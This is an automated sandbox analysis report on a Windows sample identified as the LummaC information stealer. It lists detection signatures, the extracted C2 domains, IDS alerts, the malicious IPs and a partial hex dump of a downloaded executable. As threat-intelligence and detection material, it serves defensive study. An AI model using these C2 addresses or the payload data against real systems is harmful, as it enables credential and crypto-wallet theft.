Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558970
MD5:	de0479866482075eead948de5ed353ef
SHA1:	817c54ba06830e3fa579bb53b21d95ce2af37e80
SHA256:	508dc6038db822c21cce37bc9aac1694637abe532b5edf89942a829074639e0d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4164 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE0479866482075EEAD948DE5ED353EF)

chrome.exe (PID: 5552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7252 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1836,i,7822006683133488739,5750261505486873411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2036,i,12764946294742633135,14332685137826190818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p10tgrace.sbs", "3xp3cts1aim.sbs", "peepburry828.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2250527169.000000000102F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2266079223.0000000001037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2265996831.0000000001032000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2250810319.0000000001030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2251188449.000000000102F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2263461215.0000000001030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2225744563.000000000102F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2265819903.0000000001030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4164	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:25.287485+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	188.114.96.3	443	TCP
2024-11-20T01:18:26.367074+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	188.114.96.3	443	TCP
2024-11-20T01:18:27.469115+0100	2028371	3	Unknown Traffic	192.168.2.5	49735	188.114.96.3	443	TCP
2024-11-20T01:18:28.703360+0100	2028371	3	Unknown Traffic	192.168.2.5	49741	188.114.96.3	443	TCP
2024-11-20T01:18:30.052915+0100	2028371	3	Unknown Traffic	192.168.2.5	49752	188.114.96.3	443	TCP
2024-11-20T01:18:31.486706+0100	2028371	3	Unknown Traffic	192.168.2.5	49764	188.114.96.3	443	TCP
2024-11-20T01:18:32.850766+0100	2028371	3	Unknown Traffic	192.168.2.5	49775	188.114.96.3	443	TCP
2024-11-20T01:18:36.460367+0100	2028371	3	Unknown Traffic	192.168.2.5	49797	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:25.792503+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49722	188.114.96.3	443	TCP
2024-11-20T01:18:26.790753+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49724	188.114.96.3	443	TCP
2024-11-20T01:18:36.904479+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49797	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:25.792503+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49722	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:26.790753+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49724	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:37.620471+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49807	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T01:18:31.865834+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49764	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2371180751.0000000008000000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482840812.0000000005F22000.00000040.00000800.00020000.00000000.sdmp

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49764 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49724 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49724 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49797 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 00:18:37 GMTContent-Type: application/octet-streamContent-Length: 2745856Last-Modified: Wed, 20 Nov 2024 00:10:25 GMTConnection: keep-aliveETag: "673d28f1-29e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 17 4e 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6d 61 67 77 6c 6a 68 00 a0 29 00 00 a0 00 00 00 84 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 62 72 6e 78 67 6c 66 00 20 00 00 00 40 2a 00 00 06 00 00 00 be 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 c4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49752 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49724 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49775 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49741 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49764 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49797 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49807 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49915 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.72
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
